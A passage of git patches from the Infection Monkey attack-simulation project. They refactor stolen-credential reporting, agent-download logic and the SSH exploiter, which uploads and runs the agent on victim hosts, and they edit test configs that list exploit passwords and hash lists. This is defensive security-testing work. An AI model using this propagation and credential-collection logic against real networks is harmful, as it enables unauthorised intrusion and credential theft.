NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] - if telem["data"]["ssh_info"]: - # Pick out all ssh keys not yet included in creds - ssh_keys = [ - { - "username": key_pair["name"], - "type": "Clear SSH private key", - "origin": origin, - } - for key_pair in telem["data"]["ssh_info"] - if key_pair["private_key"] - and { - "username": key_pair["name"], - "type": "Clear SSH private key", - "origin": origin, - } - not in creds - ] - creds.extend(ssh_keys) - return creds - @staticmethod def process_exploit(exploit) -> ExploiterReportInfo: exploiter_type = exploit["data"]["exploiter"] @@ -564,6 +464,7 @@ class ReportService: issue_set = ReportService.get_issue_set(issues, config_users, config_passwords) cross_segment_issues = ReportService.get_cross_segment_issues() monkey_latest_modify_time = Monkey.get_latest_modifytime() + stolen_creds = get_stolen_creds() scanned_nodes = ReportService.get_scanned() exploited_cnt = len(get_monkey_exploited()) @@ -585,8 +486,8 @@ class ReportService: "glance": { "scanned": scanned_nodes, "exploited_cnt": exploited_cnt, - "stolen_creds": ReportService.get_stolen_creds(), - "ssh_keys": ReportService.get_ssh_keys(), + "stolen_creds": stolen_creds, + "ssh_keys": extract_ssh_keys(stolen_creds), "strong_users": PTHReportService.get_strong_users_on_crit_details(), }, "recommendations": {"issues": issues, "domain_issues": domain_issues}, diff --git a/monkey/monkey_island/cc/services/reporting/stolen_credentials.py b/monkey/monkey_island/cc/services/reporting/stolen_credentials.py new file mode 100644 index 000000000..f65b26bb3 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/stolen_credentials.py @@ -0,0 +1,59 @@ +import logging +from typing import Mapping, Sequence + +from common.common_consts.credential_component_type import CredentialComponentType +from monkey_island.cc.models import StolenCredentials + +logger = logging.getLogger(__name__) + + +def get_stolen_creds() -> Sequence[Mapping]: + stolen_creds = _fetch_from_db() + stolen_creds = _format_creds_for_reporting(stolen_creds) + + logger.info("Stolen creds generated for reporting") + return stolen_creds + + +def extract_ssh_keys(credentials: Sequence[Mapping]) -> Sequence[Mapping]: + ssh_keys = [] + for credential in credentials: + if credential["_type"] == CredentialComponentType.SSH_KEYPAIR.name: + ssh_keys.append(credential) + return ssh_keys + + +def _fetch_from_db() -> Sequence[StolenCredentials]: + return list(StolenCredentials.objects()) + + +def _format_creds_for_reporting(credentials: Sequence[StolenCredentials]): + formatted_creds = [] + cred_type_dict = { + CredentialComponentType.PASSWORD.name: "Clear Password", + CredentialComponentType.LM_HASH.name: "LM hash", + CredentialComponentType.NT_HASH.name: "NTLM hash", + CredentialComponentType.SSH_KEYPAIR.name: "Clear SSH private key", + } + + for cred in credentials: + for secret_type in cred.secrets: + if secret_type not in cred_type_dict: + continue + username = _get_username(cred) + cred_row = { + "username": username, + "_type": secret_type, + "type": cred_type_dict[secret_type], + "origin": cred.monkey.hostname, + } + if cred_row not in formatted_creds: + formatted_creds.append(cred_row) + return formatted_creds + + +def _get_username(credentials: StolenCredentials) -> str: + if credentials.identities: + return credentials.identities[0]["username"] + else: + return "" diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 932879fea..f058a3069 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -556,7 +556,7 @@ class ReportPageComponent extends AuthComponent {
    - +
    diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_stolen_credentials.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_stolen_credentials.py new file mode 100644 index 000000000..e3a7f6570 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_stolen_credentials.py @@ -0,0 +1,97 @@ +import pytest + +from common.common_consts.credential_component_type import CredentialComponentType +from monkey_island.cc.models import Monkey, StolenCredentials +from monkey_island.cc.services.reporting.stolen_credentials import ( + extract_ssh_keys, + get_stolen_creds, +) + +monkey_hostname = "fake_hostname" +fake_monkey_guid = "abc" + +fake_username = "m0nk3y_user" +fake_nt_hash = "c1c58f96cdf212b50837bc11a00be47c" +fake_lm_hash = "299BD128C1101FD6" +fake_password = "trytostealthis" +fake_ssh_key = "RSA_fake_key" +fake_credentials = { + "identities": [{"username": fake_username, "credential_type": "USERNAME"}], + "secrets": [ + CredentialComponentType.NT_HASH.name, + CredentialComponentType.LM_HASH.name, + CredentialComponentType.PASSWORD.name, + CredentialComponentType.SSH_KEYPAIR.name, + ], +} + + +@pytest.fixture +def fake_monkey(): + monkey = Monkey() + monkey.guid = fake_monkey_guid + monkey.hostname = monkey_hostname + monkey.save() + return monkey.id + + +@pytest.mark.usefixture("uses_database") +def test_get_credentials(fake_monkey): + StolenCredentials( + identities=fake_credentials["identities"], + secrets=fake_credentials["secrets"], + monkey=fake_monkey, + ).save() + + credentials = get_stolen_creds() + + result1 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.NT_HASH.name, + "type": "NTLM hash", + "username": fake_username, + } + result2 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.LM_HASH.name, + "type": "LM hash", + "username": fake_username, + } + result3 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.PASSWORD.name, + "type": "Clear Password", + "username": fake_username, + } + result4 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.SSH_KEYPAIR.name, + "type": "Clear SSH private key", + "username": fake_username, + } + assert result1 in credentials + assert result2 in credentials + assert result3 in credentials + assert result4 in credentials + + +@pytest.mark.usefixtures("uses_database") +def test_extract_ssh_keys(fake_monkey): + StolenCredentials( + identities=fake_credentials["identities"], + secrets=fake_credentials["secrets"], + monkey=fake_monkey, + ).save() + + credentials = get_stolen_creds() + keys = extract_ssh_keys(credentials) + + assert len(keys) == 1 + + result = { + "origin": monkey_hostname, + "_type": CredentialComponentType.SSH_KEYPAIR.name, + "type": "Clear SSH private key", + "username": fake_username, + } + assert result in keys From a53ff7d0d91c4f47ec7d7d516e90084b256570c0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 07:46:16 -0500 Subject: [PATCH 0585/1110] Agent: Fix broken logic in get_target_monkey() download optimization --- .../infection_monkey/exploit/tools/helpers.py | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 2c98e2b2e..f519e554f 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -16,24 +16,13 @@ def get_target_monkey(host): from infection_monkey.control import ControlClient - if host.monkey_exe: - return host.monkey_exe - if not host.os.get("type"): return None - monkey_path = ControlClient.download_monkey_exe(host) + if host.os.get("type") == platform.system().lower(): + return sys.executable - if host.os.get("machine") and monkey_path: - host.monkey_exe = monkey_path - - if not monkey_path: - if host.os.get("type") == platform.system().lower(): - # if exe not found, and we have the same arch, use our exe - if host.os.get("machine", "").lower() == platform.machine().lower(): - monkey_path = sys.executable - - return monkey_path + return ControlClient.download_monkey_exe(host) def get_target_monkey_by_os(is_windows, is_32bit): From 01a21f744f33b306f0c1d6683fff40bc99a43b1b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 07:52:37 -0500 Subject: [PATCH 0586/1110] Agent: Remove disused VictimHost.monkey_exe --- monkey/infection_monkey/model/host.py | 2 -- .../infection_monkey/telemetry/test_exploit_telem.py | 9 +++++++-- .../infection_monkey/telemetry/test_scan_telem.py | 1 - 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 3bbd1dfb8..95cc85810 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -8,7 +8,6 @@ class VictimHost(object): self.os = {} self.services = {} self.icmp = False - self.monkey_exe = None self.default_tunnel = None self.default_server = None @@ -42,7 +41,6 @@ class VictimHost(object): for k, v in list(self.services.items()): victim += "%s-%s " % (k, v) victim += "] ICMP: %s " % (self.icmp) - victim += "target monkey: %s" % self.monkey_exe return victim def set_island_address(self, ip: str, port: Optional[str]): diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py index 5d6c81f56..600e1db20 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py @@ -16,7 +16,6 @@ HOST_AS_DICT = { "os": {}, "services": {}, "icmp": False, - "monkey_exe": None, "default_tunnel": None, "default_server": None, } @@ -37,7 +36,13 @@ ERROR_MSG = "failed because yolo" @pytest.fixture def exploit_telem_test_instance(): - return ExploitTelem(EXPLOITER_NAME, HOST, ExploiterResultData(RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG)) + return ExploitTelem( + EXPLOITER_NAME, + HOST, + ExploiterResultData( + RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG + ), + ) def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py index 07c6fbf41..a369fe4cf 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py @@ -14,7 +14,6 @@ HOST_AS_DICT = { "os": {}, "services": {}, "icmp": False, - "monkey_exe": None, "default_tunnel": None, "default_server": None, } From d970271016557da705482c3a03fbe7bfdca7f2dc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 08:29:04 -0500 Subject: [PATCH 0587/1110] Agent: Fix get_target_monkey() bug when running from source --- monkey/infection_monkey/exploit/tools/helpers.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index f519e554f..47057b63f 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,4 +1,5 @@ import logging +from pathlib import Path logger = logging.getLogger(__name__) @@ -20,7 +21,15 @@ def get_target_monkey(host): return None if host.os.get("type") == platform.system().lower(): - return sys.executable + try: + # When running from source, sys.executable will be "python", not an agent. + if "monkey" in Path(sys.executable).name: + return sys.executable + except Exception as ex: + logger.warning( + "Unable to retrieve this executable's path, downloading executable from the island " + f"instead: {ex}" + ) return ControlClient.download_monkey_exe(host) From 748178a00cece8cccbc5756772c00570e92480d9 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Feb 2022 16:45:36 +0200 Subject: [PATCH 0588/1110] Island: small style improvements in stolen_credentials.py --- .../cc/services/reporting/stolen_credentials.py | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/stolen_credentials.py b/monkey/monkey_island/cc/services/reporting/stolen_credentials.py index f65b26bb3..a1f596ad5 100644 --- a/monkey/monkey_island/cc/services/reporting/stolen_credentials.py +++ b/monkey/monkey_island/cc/services/reporting/stolen_credentials.py @@ -16,11 +16,7 @@ def get_stolen_creds() -> Sequence[Mapping]: def extract_ssh_keys(credentials: Sequence[Mapping]) -> Sequence[Mapping]: - ssh_keys = [] - for credential in credentials: - if credential["_type"] == CredentialComponentType.SSH_KEYPAIR.name: - ssh_keys.append(credential) - return ssh_keys + return [c for c in credentials if c["_type"] == CredentialComponentType.SSH_KEYPAIR.name] def _fetch_from_db() -> Sequence[StolenCredentials]: @@ -53,7 +49,4 @@ def _format_creds_for_reporting(credentials: Sequence[StolenCredentials]): def _get_username(credentials: StolenCredentials) -> str: - if credentials.identities: - return credentials.identities[0]["username"] - else: - return "" + return credentials.identities[0]["username"] if credentials.identities else "" From 4f58a69c54b461618c5b32420deeb8258dd70612 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Feb 2022 16:59:15 +0200 Subject: [PATCH 0589/1110] UT: added slow marks and changed some names, related to credential tests --- .../monkey_island/cc/services/reporting/test_report.py | 6 +++--- .../processing/credentials/test_credential_processing.py | 5 +++++ .../processing/credentials/test_ssh_key_processing.py | 1 + 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index c33f0087b..bfe19ea83 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -158,18 +158,18 @@ def test_get_stolen_creds_exploit(fake_mongo): @pytest.mark.slow @pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_get_stolen_creds_system_info(fake_mongo): +def test_get_stolen_creds_from_db(fake_mongo): fake_mongo.db.monkey.insert_one(MONKEY_TELEM) save_telemetry(SYSTEM_INFO_TELEMETRY_TELEM) stolen_creds_system_info = ReportService.get_stolen_creds() - expected_stolen_creds_system_info = [ + expected_stolen_creds_from_db = [ {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, {"origin": HOSTNAME, "type": "LM hash", "username": USER}, {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, ] - assert expected_stolen_creds_system_info == stolen_creds_system_info + assert expected_stolen_creds_from_db == stolen_creds_system_info @pytest.mark.usefixtures("uses_database") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py index 5cef3e387..5fcccc7a0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -53,6 +53,7 @@ cred_empty_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) cred_empty_telem["data"] = [{"identities": [], "secrets": []}] +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_cred_username_parsing(): parse_credentials(cred_telem_usernames) @@ -60,6 +61,7 @@ def test_cred_username_parsing(): assert fake_username in dpath.util.get(config, USER_LIST_PATH) +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_cred_special_username_parsing(): parse_credentials(cred_telem_special_usernames) @@ -67,6 +69,7 @@ def test_cred_special_username_parsing(): assert fake_special_username in dpath.util.get(config, USER_LIST_PATH) +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_cred_telemetry_parsing(): parse_credentials(cred_telem) @@ -77,6 +80,7 @@ def test_cred_telemetry_parsing(): assert fake_password in dpath.util.get(config, PASSWORD_LIST_PATH) +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_cred_storage_in_db(): parse_credentials(cred_telem) @@ -90,6 +94,7 @@ def test_cred_storage_in_db(): assert CredentialComponentType.NT_HASH.name in stolen_creds.secrets +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_empty_cred_telemetry_parsing(): default_config = deepcopy(ConfigService.get_config(should_decrypt=True)) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py index 52abf5705..900166847 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py @@ -32,6 +32,7 @@ ssh_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) ssh_telem["data"] = [{"identities": [fake_identity], "secrets": [fake_secret_full]}] +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor", "uses_database", "fake_mongo", "insert_fake_monkey") def test_ssh_credential_parsing(): parse_credentials(ssh_telem) From eea07461c5c494af85f07d218fbfdce967655acf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 11:22:23 -0500 Subject: [PATCH 0590/1110] Agent: Remove attempt to get architecture from target in ssh exploiter Since Infection Monkey only supports the x86_64 architecture,there's little use in collecting the architecture from the destination. --- monkey/infection_monkey/exploit/sshexec.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 4cbfd1e5c..5f14ce25b 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -149,18 +149,6 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - if not self.host.os.get("machine"): - try: - _, stdout, _ = ssh.exec_command("uname -m") - uname_machine = stdout.read().lower().strip().decode() - if "" != uname_machine: - self.host.os["machine"] = uname_machine - except Exception as exc: - self.exploit_result.error_message = ( - f"Error running uname machine command on victim {self.host}: ({exc})" - ) - logger.error(self.exploit_result.error_message) - src_path = get_target_monkey(self.host) if not src_path: From caa640531511ee2d1378f47b86974ca4e146e869 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 11:51:34 -0500 Subject: [PATCH 0591/1110] Agent: Change agent permissions to 700 in SSH exploiter Changing the permissions to 777 introduces a security risk into the target host. A malicious attacker with local access can potentially modify the binary, resulting in code execution and privilege escalation when the attacking agent launches the agent on the victim. Issue #1750 --- CHANGELOG.md | 3 +++ monkey/infection_monkey/exploit/sshexec.py | 19 +++++++++++-------- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 72eadb615..fd6a83469 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -56,6 +56,9 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Security +- Change SSH exploiter so that it does not set the permissions of the agent + binary in /tmp on the target system to 777, as this could allow a malicious + actor with local access to escalate their privileges. #1750 ## [1.13.0] - 2022-01-25 ### Added - A new exploiter that allows propagation via the Log4Shell vulnerability diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 5f14ce25b..39544a93c 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -170,15 +170,8 @@ class SSHExploiter(HostExploiter): file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) - ftp.chmod(self.options["dropper_target_path_linux"], 0o777) + self._make_agent_executable(ftp) status = ScanStatus.USED - self.telemetry_messenger.send_telemetry( - T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self.options["dropper_target_path_linux"], - self.host, - ) - ) ftp.close() except Exception as exc: self.exploit_result.error_message = ( @@ -221,3 +214,13 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + + def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient): + ftp.chmod(self.options["dropper_target_path_linux"], 0o700) + self.telemetry_messenger.send_telemetry( + T1222Telem( + ScanStatus.USED, + "chmod 0700 %s" % self.options["dropper_target_path_linux"], + self.host, + ) + ) From a3de04d9c08d9206b3ce1684be8e10541856b329 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 12:32:16 -0500 Subject: [PATCH 0592/1110] Agent: Remove agent download optimization from get_target_monkey() This optimization was not functioning properly. This will be refactored and optimized in the near future, so it's not worth the effort to debug this at the present time. --- monkey/infection_monkey/exploit/tools/helpers.py | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 47057b63f..6d2538fc9 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,5 +1,4 @@ import logging -from pathlib import Path logger = logging.getLogger(__name__) @@ -12,25 +11,11 @@ def try_get_target_monkey(host): def get_target_monkey(host): - import platform - import sys - from infection_monkey.control import ControlClient if not host.os.get("type"): return None - if host.os.get("type") == platform.system().lower(): - try: - # When running from source, sys.executable will be "python", not an agent. - if "monkey" in Path(sys.executable).name: - return sys.executable - except Exception as ex: - logger.warning( - "Unable to retrieve this executable's path, downloading executable from the island " - f"instead: {ex}" - ) - return ControlClient.download_monkey_exe(host) From c075fed2da00f5031b4711c6ad76b04f99c87f5a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 12:56:43 -0500 Subject: [PATCH 0593/1110] BB: Remove 'PingScanner' from fingerprinters in config templates --- envs/monkey_zoo/blackbox/config_templates/base_template.py | 2 +- envs/monkey_zoo/blackbox/config_templates/drupal.py | 2 +- envs/monkey_zoo/blackbox/config_templates/mssql.py | 2 +- envs/monkey_zoo/blackbox/config_templates/powershell.py | 2 +- .../blackbox/config_templates/powershell_credentials_reuse.py | 2 +- envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py | 2 +- envs/monkey_zoo/blackbox/config_templates/smb_pth.py | 2 +- envs/monkey_zoo/blackbox/config_templates/ssh.py | 2 +- envs/monkey_zoo/blackbox/config_templates/tunneling.py | 1 - envs/monkey_zoo/blackbox/config_templates/wmi_pth.py | 2 +- 10 files changed, 9 insertions(+), 10 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py index dbc235cd7..5a1ce49a6 100644 --- a/envs/monkey_zoo/blackbox/config_templates/base_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py @@ -8,7 +8,7 @@ class BaseTemplate(ConfigTemplate): "basic.exploiters.exploiter_classes": [], "basic_network.scope.local_network_scan": False, "basic_network.scope.depth": 1, - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["HTTPFinger"], "internal.monkey.system_info.system_info_collector_classes": [], "monkey.post_breach.post_breach_actions": [], "internal.general.keep_tunnel_open_time": 0, diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py index 388a47a42..2eefd6337 100644 --- a/envs/monkey_zoo/blackbox/config_templates/drupal.py +++ b/envs/monkey_zoo/blackbox/config_templates/drupal.py @@ -9,7 +9,7 @@ class Drupal(ConfigTemplate): config_values.update( { - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["HTTPFinger"], "basic.exploiters.exploiter_classes": ["DrupalExploiter"], "basic_network.scope.subnet_scan_list": ["10.2.2.28"], "internal.network.tcp_scanner.HTTP_PORTS": [80], diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py index 13d1c728e..403fc0060 100644 --- a/envs/monkey_zoo/blackbox/config_templates/mssql.py +++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py @@ -10,7 +10,7 @@ class Mssql(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["MSSQLExploiter"], - "internal.classes.finger_classes": ["PingScanner"], + "internal.classes.finger_classes": [], "basic_network.scope.subnet_scan_list": ["10.2.2.16"], "basic.credentials.exploit_password_list": [ "Password1!", diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index a282b2a0a..95137d431 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -21,7 +21,7 @@ class PowerShell(ConfigTemplate): "basic.credentials.exploit_password_list": ["Passw0rd!"], "basic_network.scope.depth": 2, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], - "internal.classes.finger_classes": ["PingScanner"], + "internal.classes.finger_classes": [], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [], "internal.exploits.exploit_ntlm_hash_list": [ diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py index d6113dc15..99e4ce282 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py @@ -14,7 +14,7 @@ class PowerShellCredentialsReuse(ConfigTemplate): "10.2.3.46", ], "basic_network.scope.depth": 2, - "internal.classes.finger_classes": ["PingScanner"], + "internal.classes.finger_classes": [], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [], } diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py index 25003eb20..828d2da21 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py @@ -13,7 +13,7 @@ class SmbMimikatz(ConfigTemplate): "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [445], "monkey.system_info.system_info_collector_classes": [ diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py index 89a379d15..cd9fed272 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py @@ -13,7 +13,7 @@ class SmbPth(ConfigTemplate): "basic_network.scope.subnet_scan_list": ["10.2.2.15"], "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [445], "internal.classes.exploits.exploit_ntlm_hash_list": [ diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py index 8099e50a6..5a519d5d1 100644 --- a/envs/monkey_zoo/blackbox/config_templates/ssh.py +++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py @@ -14,7 +14,7 @@ class Ssh(ConfigTemplate): "basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"], "basic_network.scope.depth": 2, "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SSHFinger", "PingScanner"], + "internal.classes.finger_classes": ["SSHFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [22], } diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index 15fb967d5..d2dd663f5 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -28,7 +28,6 @@ class Tunneling(ConfigTemplate): "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], "internal.classes.finger_classes": [ "SSHFinger", - "PingScanner", "HTTPFinger", "SMBFinger", ], diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py index 84e7f3f70..ff2078d72 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py @@ -13,7 +13,7 @@ class WmiPth(ConfigTemplate): "basic_network.scope.subnet_scan_list": ["10.2.2.15"], "basic.credentials.exploit_password_list": ["Password1!"], "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["HTTPFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [135], "internal.exploits.exploit_ntlm_hash_list": [ From 0df165e14066fdb7b016442795b804fc6bdc9fe9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 14:55:20 -0500 Subject: [PATCH 0594/1110] Island: Refactor monkey download to take OS and return agent file --- monkey/monkey_island/cc/app.py | 3 +- .../cc/resources/monkey_download.py | 91 ++++++++----------- .../cc/services/run_local_monkey.py | 15 +-- 3 files changed, 47 insertions(+), 62 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d7a8227fb..863a88909 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -134,8 +134,7 @@ def init_api_resources(api): api.add_resource(ConfigurationImport, "/api/configuration/import") api.add_resource( MonkeyDownload, - "/api/monkey/download", - "/api/monkey/download/", + "/api/monkey/download/", ) api.add_resource(NetMap, "/api/netmap") api.add_resource(Edge, "/api/netmap/edge") diff --git 